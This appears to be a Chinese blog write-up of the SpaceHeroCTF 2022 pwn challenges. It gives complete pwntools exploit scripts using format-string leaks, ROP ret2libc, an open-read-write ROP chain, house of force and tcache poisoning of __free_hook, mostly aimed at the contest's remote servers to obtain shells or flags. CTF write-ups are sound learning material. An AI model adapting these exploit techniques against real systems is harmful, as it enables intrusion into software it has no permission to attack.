SpaceHeroCTF2022_pwn_wp

2022 spaceheroCTF(shctf)有关pwn的writeup。相关附件我放在链接

松神AK re太强了,海伟哥单砍高分pwn题太强了,我啥也不会,太菜了!!!!要多多努力!!!!

QQ图片20220404160511

pwn

guardians of galaxy

白给x64格式化字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
filename="./guardians"
libc_name="/lib/x86_64-linux-gnu/libc.so.6"
# io = process(filename)
io = remote('0.cloud.chals.io',12690)
context.log_level='debug'
elf=ELF(filename)
libc=ELF(libc_name)
context.terminal=['tmux','split','-hp','60']

# gdb.attach(io,"brva 0x1302")
io.recvuntil('Does Quill manage to win the dance battle?')
payload = "%12$p.%13$p.%14$p.%15$p.%16$p.%17$p.%18$p"
io.sendline(payload)


io.interactive()

warm up to dark side

盲打,但是白给system地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
# filename=""
# libc_name=""
# io = process(filename)
io = remote('0.cloud.chals.io', 30096)
context.log_level='debug'
# elf=ELF(filename)
# libc=ELF(libc_name)
context.terminal=['tmux','split','-hp','60']

io.recvuntil('The Dark Side resides at: ')
addr = int(io.recvuntil('\n',drop=True),16)
success("addr: " + hex(addr))
io.sendline(p64(addr)*8)



io.interactive()

vader

直接ROP libcSearcher查不到偏移,网上查到是libc6_2.33-3_amd64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
from LibcSearcher import *
filename="./vader"
# libc_name=""
# io = process(filename)
io = remote('0.cloud.chals.io',20712)
# context.log_level='debug'
elf=ELF(filename)
# libc=ELF(libc_name)
context.terminal=['tmux','split','-hp','60']


pop_rdi = 0x000000000040165b
# gdb.attach(io,"b *0x4015F9")
io.recvuntil('Now I am the master >>>')
payload1 = b""
payload1+=b"a"*0x28
payload1 +=p64(pop_rdi)
payload1+=p64(elf.got['puts'])
payload1+=p64(elf.plt['puts'])
payload1+=p64(0x4015B5)
io.sendline(payload1)
libc_info = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
success("libc_info: " + hex(libc_info))
# libc = LibcSearcher("printf",libc_info)
libc_base = libc_info - 0x75de0
success("libc_base: " + hex(libc_base))
system = libc_base + 0x49850
binsh = libc_base + 0x188962
io.recvuntil('Now I am the master >>>')
payload2 = b""
payload2+=b"a"*0x28
payload2 +=p64(pop_rdi)
payload2+=p64(binsh)
payload2+=p64(system)
# payload1+=p64(0x4015B5)
io.sendline(payload2)



io.interactive()

shctf{th3r3-1s-n0-try}

T0NY TR4N5L4T0R

不知道啥逻辑 反正控到指针了,直接调回main就好了
io_buf他没清零,远程端有点问题,直接发payload就可以了,本地io和题目一样。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
context.arch = 'i386'
context.terminal = ['tmux', 'split', '-hp', '60']
#io = process('./leet')
io = remote("0.cloud.chals.io",26008)
#io.recvuntil(b'W31c0m3 70 70ny\'5 7r4n51470r.')

# gdb.attach(io,
# '''
# b *0x0804938d
# ''')
io.sendline(b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaana'+p32(0x0804921d)+b'a')


io.interactive()

shctf{Y00_175_70NY_574RK}

satisfied

shctf{Whos-Th3-k1ng-of-Ur-Sat3ll1te-Castl3}
用z3求解约束即可。这个binary有个printf没有换行,导致输出很麻烦,本地调试要patch一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
from z3 import *
filename="./satisfy"
libc_name="/lib/x86_64-linux-gnu/libc.so.6"
# io = process(filename)
io = remote('0.cloud.chals.io',34720)
context.log_level='debug'
elf=ELF(filename)
libc=ELF(libc_name)
context.terminal=['tmux','split','-hp','60']


def solve(random_num):
a1=BitVec("a1",64)
a2=BitVec("a2",64) # lefy char
# result = BitVecVal(31337,32)
result = 31337
random_ = BitVecVal(random_num,64)
solver=Solver()
solver.add(((a1<<a2)^random_ )== result)
solver.check()
m = solver.model()
a1_ans = int(str(m.evaluate(a1)))
a2_ans = int(str(m.evaluate(a2)))
success("a1: " + hex(a1_ans))
success("a2: " + hex(a2_ans))
return(a1_ans,a2_ans)

def debug():
cmd = ""
cmd +="b *0x4014C0\n" # b compare
cmd +="b *0x40143B\n" #b func_start
gdb.attach(io,cmd)

# debug()
io.recvuntil('Here is a random token ')
token = int(io.recvuntil('\n',drop=True))
success("token: " + str(token))
(a1,a2) = solve(token)
io.recvuntil('response >>>')
payload = b""
payload +=p64(0)*2
payload +=p64(a2)
payload += p64(a1)
payload = payload.ljust(0x28,b'\x00')
payload+=p64(0x4013AA)*5
io.sendline(payload)
io.interactive()

Rocket

shctf{1-sma11-St3p-f0r-mAn-1-Giant-l3ap-f0r-manK1nd}
我傻了根本不用泄露libc。直接猜heap_base然后orw就可以了..

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from pwn import *
filename="./rocket"
libc_name="/lib/x86_64-linux-gnu/libc.so.6"
# io = process(filename)
io = remote('0.cloud.chals.io',13163)
context.log_level='debug'
elf=ELF(filename)
libc=ELF(libc_name)
context.terminal=['tmux','split','-hp','60']

def debug():
cmd = ""
cmd +="brva 0x1604" #ret
# cmd +="brva 0x1579" # printf
# cmd +="brva 0x15A3"
gdb.attach(io,cmd)




io.recvuntil('authenticate >>>\n')
offset = 10
# fmt_payload = b"%6$p.%7$p.%8$p.%9$p.%10$p.%11$p.%12$p.%13$p.%14$p.%15$p.%16$p.%17$p.%18$p"
fmt_payload = "%6$p"
io.sendline(fmt_payload)
io.recvuntil('<<< Welcome: ')
code_base = int(io.recvuntil('\n',drop=True),16)-0x10e0
success("code_base: " + hex(code_base))


flag_txt = 0x002db8+code_base
pop_rdi = 0x000000000000168b+code_base
pop_rax = 0x0000000000001210+code_base
pop_rsi_pop_r15 = 0x0000000000001689+code_base
pop_rdx = 0x00000000000014be+code_base
syscall_ret = 0x00000000000014db+code_base

rop_chain = b""
# open
rop_chain +=p64(pop_rax)
rop_chain +=p64(2)
rop_chain+=p64(pop_rdi)
rop_chain+=p64(flag_txt)
rop_chain+=p64(pop_rsi_pop_r15)
rop_chain+=p64(0)*2
rop_chain+=p64(pop_rdx)
rop_chain+=p64(0)
rop_chain+=p64(syscall_ret)
#read
rop_chain +=p64(pop_rax)
rop_chain+=p64(0)
rop_chain+=p64(pop_rdi)
rop_chain+=p64(3)
rop_chain+=p64(pop_rsi_pop_r15)
rop_chain+=p64(code_base+0x5800) # buffer
rop_chain+=p64(0)
rop_chain+=p64(pop_rdx)
rop_chain+=p64(0x100)
rop_chain+=p64(syscall_ret)
# write
rop_chain+=p64(pop_rax)
rop_chain+=p64(1)
rop_chain+=p64(pop_rdi)
rop_chain+=p64(1)
rop_chain+=p64(pop_rsi_pop_r15)
rop_chain+=p64(code_base+0x5800)
rop_chain+=p64(0)
rop_chain+=p64(pop_rdx)
rop_chain+=p64(0x100)
rop_chain+=p64(syscall_ret)


rop_payload =b"a"*0x48 + rop_chain

# debug()
io.sendlineafter('>>>\n',rop_payload)



io.interactive()

Star Wars Galaxies 2

shctf{l00k1ng_f0rw4rd_2_k0t0r_r3m4k3}
真的是绝了。。。fmtstr_payload给我用%lln写一个一byte的数据。不然俩小时前就做出来了。不知道这算不算是bug。
用格式化字符串改栈上数据即可。就是要小心一点很容易多改。而且远程可能要多试几次才行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *
filename="./starwar"
# libc_name=""
# io = process(filename)
io = remote('0.cloud.chals.io', 34916)
context.log_level='debug'
elf=ELF(filename)
# libc=ELF(libc_name)
context.terminal=['tmux','split','-hp','60']
context.arch = "amd64"

def afterarrow(con):
io.sendlineafter('>>',con)


def add(name,num):
afterarrow('0')
io.sendlineafter('Enter your player name: ',name)
io.sendlineafter('Enter your player id number: ',str(num))
io.sendlineafter('Select your player class: ',str(1))

def show():
afterarrow('2')

def play():
afterarrow('1')

def debug():
cmd =""
cmd +="brva 0x154F\n" # printf
cmd +="brva 0x14E6\n" # get boss
# cmd +="brva 0x14D4\n" # show
# cmd +="brva 0x1595\n"
gdb.attach(io,cmd)
# show()

offset = 8

fmt = "%25$p...%7$p"
add(fmt,0)
show()
heap_info = int(io.recvuntil('...',drop=True),16)
heap_base = heap_info - 0x0040a0
success("heap_base: " + hex(heap_base))
stack_info = int(io.recvuntil('\n',drop=True),16)
success("stack_info: " + hex(stack_info))
change_place = stack_info - 44 + 3 # onlu write a byte + 3
boss_place = stack_info - 44+4
success("change_place: " + hex(change_place))
boss = heap_base + 0x40a0
success("boss: " + hex(boss))
fmt2 = fmtstr_payload(offset,{boss:0x61})

add(fmt2,1)
show() # change boss's content

fmt3 = fmtstr_payload(offset,{change_place:0xFF},write_size='byte')
fmt3 = fmt3.replace(b'lln',b'hhn')
add(fmt3,0xfffc18)
# debug()
show()

# add(fmt3,0xFFFFC18)# above zero
# show()
play()


io.interactive()

Rings of Saturn

这个题目比赛的时候没做出来,赛后复现出来的。

先看看逆出来的结构体。这道题逆起来还是有点麻烦。idb文件我也放在上面的链接中了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
00000000 ringbuf         struc ; (sizeof=0x1A, mappedto_8)
00000000 data_ptr dq ?
00000008 next dq ?
00000010 size dq ?
00000018 data dw ?
0000001A ringbuf ends
0000001A
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 head struc ; (sizeof=0x20, mappedto_9)
00000000 ptr_head dq ?
00000008 tail dq ? ; offset
00000010 start dq ? ; offset
00000018 size_all dq ? ; seg
00000020 head ends

主要是head作为链表尾指针,ringbuf作为链表每个节点,构成的环形链表。

比赛的时候我重点看了write部分和delet部分,这两个部分真的是完全没有漏洞,,于是后来就放弃了。赛后看了别的师傅的wp才发现漏洞点在于下面buf_init阶段

1
2
remain = (ringbuf *)calloc(((size - total_size + 15) & 0xFFFFFFFFFFFFFFF0LL) + 8, 1uLL);// 剩下大小构成一个ringbuf
remain->size = size - total_size;

如果我们输入size=1000,那么remain的结果是

(1000-0+15)&0xffffffffffffff0+8,也就是0x3f8。这个将被写在remain->size的地方,也就是我们能写的长度。这将导致我们能够覆盖下一个chunk的size。因此后面直接改掉后面chunk的size构造chunk overlpping就可以了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
from pwn import *
filename="./rings_of_saturn"
libc_name="./libc.so.6"
io = process(filename)
context.log_level='debug'
elf=ELF(filename)
libc=ELF(libc_name)
context.terminal=['tmux','split','-hp','60']

index = 0
# for i in range(0,1):
# io.sendlineafter('> ','1000')

def afterarrow(content):
io.sendlineafter('> ',content)
def add(size):
global index
afterarrow('0')
afterarrow(str(size))
index+=1
return index

def remove(index):
afterarrow('1')
afterarrow(str(index))

def print(index):
afterarrow('2')
afterarrow(str(index))

def write(size,content):
afterarrow('3')
afterarrow(str(size))
afterarrow(content)

def debug():
cmd =""
cmd +="b *0x0400C1E\n" # b print
cmd +="b *0x400D48\n" # b read
cmd +="b *0x400C17\n" # b free
# cmd +="b *0x400BBE\n"
gdb.attach(io,cmd)
# print(0)

og = [0x4f365,0x4f3c2,0x10a45c]

io.recvuntil(b'lol ')
leak_value = int(io.recvline(),16)
libc_base = leak_value - libc.symbols['exit'] - 0xc195

success("libc_base: " + hex(libc_base))
io.sendlineafter('> ','1000')

chk1 = add(1000)
chk2 = add(1000)
chk3 = add(1000)
chk4 = add(1000)

remove(chk3) # into tcache
# debug()
write(1000,b"a"*992+p64(0x410+0x410+1)) # change next chunk's size
remove(chk1) # after the initial one, create overlap
# debug()
giant = add(0x820-8-24) # add in the tail
success("chk2: " + hex(chk2))
success("giant: " + str(giant))
remove(1) # now chunk2 is both in bins and in the last chunk
# debug()
write(1000,b"a"*1000)
# debug()
payload = b"a"*(1000-8)+p64(0xdeabeef)+p64(0)+p64(0x411)+p64(libc_base+libc.symbols['__free_hook']-0x50)
write(len(payload),payload)
# debug() # hijacked mem before free_hook
free_hook = libc_base + libc.symbols["__free_hook"]
fake2 = add(1000)
# debug()
add(1000) # get mem before freehook
# debug()
remove(giant)
remove(chk4)
remove(fake2)
write(1000,b"a"*(1000-8)+p64(0xdeadcafe))
write(56,p64(0)*7)
write(8,p64(libc_base+og[1]))
# debug()
remove(2)
# debug()

# io.clean()

io.interactive()

Use the Force, Luke

house of force,改malloc_hook到system,读一个/bin/sh的地址

shctf{st4r_w4rs_1s_pr3tty_0v3rr4t3d}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from os import system
from turtle import onclick
from pwn import *
context.arch = "amd64"
#context.log_level = "debug"
context.terminal = ['tmux', 'split', '-hp', '60']

#io = process('./force')
io = remote("0.cloud.chals.io",11996)
libc = ELF('./libc.so.6')


io.recvuntil(b'You feel a system at ')
system_addr = int(io.recv(14)[2:],16)
log.info("system_addr : "+ str(hex(system_addr)))
io.recvuntil(b'You feel something else at ')
chunk_addr = int(io.recv(9)[2:],16)
log.info("chunk_addr : "+ str(hex(chunk_addr)))
libc_base = system_addr - 0x41b70
libc.address = libc_base
log.info("libc_base_addr : "+ str(hex(libc_base)))


offset = libc.symbols['__malloc_hook'] - chunk_addr - 60

log.info("offset : "+ str((offset)))
log.info("malloc hook:" + str(hex(libc.symbols['__malloc_hook'])))

io.recvuntil(b'(2) Surrender\n')
io.sendline(b'1')
io.recvuntil(b'How many midi-chlorians?:')
io.sendline(b'10')
io.recvuntil(b'What do you feel?:')
io.sendline(b'A'*0x18 + p64(0xffffffffffffffff))

io.recvuntil(b'(2) Surrender\n')
io.sendline(b'1')
io.recvuntil(b'How many midi-chlorians?:')
io.sendline(str(offset))
io.recvuntil(b'What do you feel?:')
io.sendline(b'')

io.recvuntil(b'(2) Surrender\n')
io.sendline(b'1')
io.recvuntil(b'How many midi-chlorians?:')
io.sendline(str(10))
io.recvuntil(b'What do you feel?:')

io.sendline(p64(system_addr))

sh_addr = 0x0000000000177375 + libc_base
io.recvuntil(b'(2) Surrender\n')
io.sendline(b'1')
io.recvuntil(b'How many midi-chlorians?:')
io.sendline(str(sh_addr))


io.interactive()

总结

一次简单的比赛!松神AK逆向,松神太强了!(我没做出来rings of sarurn真是太菜了)

文章目录
  1. 1. pwn
    1. 1.1. guardians of galaxy
    2. 1.2. warm up to dark side
    3. 1.3. vader
    4. 1.4. T0NY TR4N5L4T0R
    5. 1.5. satisfied
    6. 1.6. Rocket
    7. 1.7. Star Wars Galaxies 2
    8. 1.8. Rings of Saturn
    9. 1.9. Use the Force, Luke
  2. 2. 总结
|